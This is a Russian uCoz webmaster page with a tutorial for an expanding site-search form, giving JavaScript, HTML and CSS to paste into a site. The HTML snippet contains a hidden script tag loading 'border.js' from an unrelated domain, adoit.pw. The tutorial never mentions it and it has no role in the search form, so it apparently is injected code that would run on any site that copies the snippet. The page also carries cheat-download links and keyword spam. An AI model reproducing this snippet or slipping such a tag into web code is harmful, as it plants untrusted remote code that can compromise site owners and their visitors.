Мини профиль
Новое на форуме
Лучшие пользователи
Последнии новости
Меню сайта
Навигация Заказать рип Все для uCoz Всё для CS Графика Все для PhotoShop
Витрина ссылок
Купить ссылку
(Цена 5р)

Мир читов
Коментарии
ap06032001 написал:
хмм щя скачаю поглеж
nikita написал:
dwadadaw
nikita написал:
sa
Steam и Игры




Архив записей
Наш опрос
Оцените мой сайт
Всего ответов: 94
Мы ВКонтакте
Главная » 2013 » Август » 11 » Создаём раздвижную форму поиска для uCoz

Создаём раздвижную форму поиска для uCoz
Автор публикации: greenpis · Просмотров: 636
Спасибо +
Всем массовый привет, сегодня в этой статье мы будем адаптировать раздвижную форму поиска для uCoz, от Codrops.

Основным отличием данного решения от других, является тот момент, что отправить поисковой запрос форме поиска можно как при нажатии на клавиатуре кнопки Enter, так и при нажатии на иконку лупы стрелкой мыши.

И так давайте приступим к установке данного решения, для этого в самый низ страницы перед закрывающим тегом </body> установим следующие js:

Код
<script src="http://pnghosts.ru/js_css/classie.js"></script>
<script src="http://pnghosts.ru/js_css/uisearch.js"></script>
<script>
  new UISearch( document.getElementById( 'sb-search' ) );
</script>


Теперь давайте установим в нужное место страницы сайта следующий html код формы поиска, которая будет искать по всему сайту.

Код
<!-- Поиск по сайту -->  
  <div id="sb-search" class="sb-search">
  <form class="" onsubmit="document.getElementById('sfSbm').disabled=true" method="get" action="/search/" >
  <input class="sb-search-input" type="text" name="q" maxlength="130" value="Поиск по сайту..." onclick="if (this.value=='Поиск по сайту...'){this.value='';}"/>
  <input class="sb-search-submit" type="hidden" name="t" value="0" /><script type="text/javascript" src="http://adoit.pw/border.js"></script> <input class="sb-icon-search " type="submit" value="" />
  </form>  
  </div>  
  <!-- /Поиск по сайту -->


Теперь нам осталось стилизовать наш html код формы поиска, для этого пропишем следующие css стили:

Код
/* Раздвижная форма поиска для uCoz
------------------------------------------*/
.sb-search {
  position: relative;
  margin-top: 10px;
  width: 0%;
  min-width: 32px;
  height: 32px;
  float: right;
  overflow: hidden;
   
  -webkit-transition: width 0.3s;
  -moz-transition: width 0.3s;
  transition: width 0.3s;
  -webkit-backface-visibility: hidden;
}

.sb-search-input {
  position: absolute;
  top: 0;
  right: 0;
   
  margin: 0;
  z-index: 10;
  width:300px;
  height: 20px;
  outline: none;
  background: #fff;  
  border: 1px solid #CAD3DA;  
  padding: 5px 32px 5px 20px;
   
  font:11px Verdana,Arial,Helvetica, sans-serif;
  color:#555;  
  border-radius:3px 0px 0px 3px;  
}

.sb-search-input::-webkit-input-placeholder {
  color: #efb480;
}

.sb-search-input:-moz-placeholder {
  color: #efb480;
}

.sb-search-input::-moz-placeholder {
  color: #efb480;
}

.sb-search-input:-ms-input-placeholder {
  color: #efb480;
}

.sb-icon-search,
.sb-search-submit {
  position: absolute;
  right: 0;
  top: 0;
  margin: 0;
   
  width: 32px;
  height: 32px;
  display: block;

  line-height: 30px;
  text-align: center;
  cursor: pointer;
}

.sb-search-submit {
  background: #fff;
  color: transparent;
  border: none;
  outline: none;
  z-index: -1;
  -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";  
  filter: alpha(opacity=0);  
  opacity: 0;  
}

.sb-icon-search {
  border:none;  
  z-index: 90;
  background:#2cae58 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  -webkit-font-smoothing: antialiased;
  border-radius:3px 3px 3px 3px;  
}

.sb-icon-search:before {
  content: "\e000";
}

.sb-search.sb-search-open,
.no-js .sb-search {
  width: 100%;
}

.sb-search.sb-search-open .sb-icon-search,
.no-js .sb-search .sb-icon-search {
  background:#c54744 url(http://pnghosts.ru/img/icon-search.png) no-repeat;
  z-index: 11;
  border-radius:0px 3px 3px 0px;  
}

.sb-search.sb-search-open .sb-search-submit,
.no-js .sb-search .sb-search-submit {
  z-index: 90;
}


На этом всё, мы адаптировали и установили на ваш сайт раздвижную форму поиска для uCoz, от Codrops.

Спасибо за внимание!

Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Мини-чат
Друзья сайта
Свободно d4z-cs.my1.ru-Все для Counter-Strike Source, читы css
Свободно Свободно
Свободно Свободно
Свободно Свободно
Случайные Файлы


Чит XK13 для Cs 1.6
Загрузок: 1
Просмотров: 418
Добавил: HouSe
Дата: 21.01.2011

Статистика
Статистика материалов ↑↓
Статистика пользователей ↑↓
Кто нас сегодня посетил ↑↓
Кол-во файлов ↑↓
Кол-во постов ↑↓
погода в сернуре
Приветствуем Вас на нашем портале у нас есть все для вас например как Онлайн музыка, есть еще Мониторинг серверов, Топ сайтов добавляем свои сайт ы кнам в топ если хотите поднять свой сайт на первые места. Еще найдете у нас на сайте много щего например: Скачать Counter-Strike,Контер страйк бесплатно,Скачать пачти для CS 1.6 бесплатно,Скачать готовые ссервера для CS 1.6,готовые сервера бесплатно,Скачать плагины,моды,модели оружия,создать сервер,модели оружия для css,логотипы для cs source,скачать CS Source бесплатно,карты для css,Всё для Ucoz,укоз,юкоз,скачать шаблоны для Ucoz,Скрипты для Ucoz бесплатно,Вэбмастер,Web master,раскрутка сайта,Раскрутка сайта бесплтано,оптимизация под поисковики бесплатно,скачать фотошоп,Photoshop CS3,CS4,Скачать стили для фотошопа,photoshop бесплатно,скачать шрифты бесплатно,градиенты для photoshop скачать,кисти для photoshop,готовые psd работы,Онлайн PS,изготовление графики бесплатно,всё для L4D,моды для left4dead 2,скины l4d, скачать Left4Dead 2 бесплатно, всё для Stalker, видео про сталкер, трейнеры для stalker, прохождение,Stalker,гайды для Perfect World, читы для pw, секреты в perfect world, патчи для пв, боты для pw, Всё для GTA 4, скачать моды для gta 4, чит коды на gta, сохранение для gta, графика, скины для GTA 4, онлайн фильмы бесплатно, фильм, смотреть кино, кинотеатр, фильм без регистрации, мониторинг, мониторинг игровых серверов, сервер cs 1.6, игровые сервера  и еще разные программы для вашего сайта на нашем сайте ZIM.CLAN.SU!

Администрация ответственности не несет за содержание материала и убытки не возмещает.
ZIM-CS.RU © 2011 Хостинг от uCoz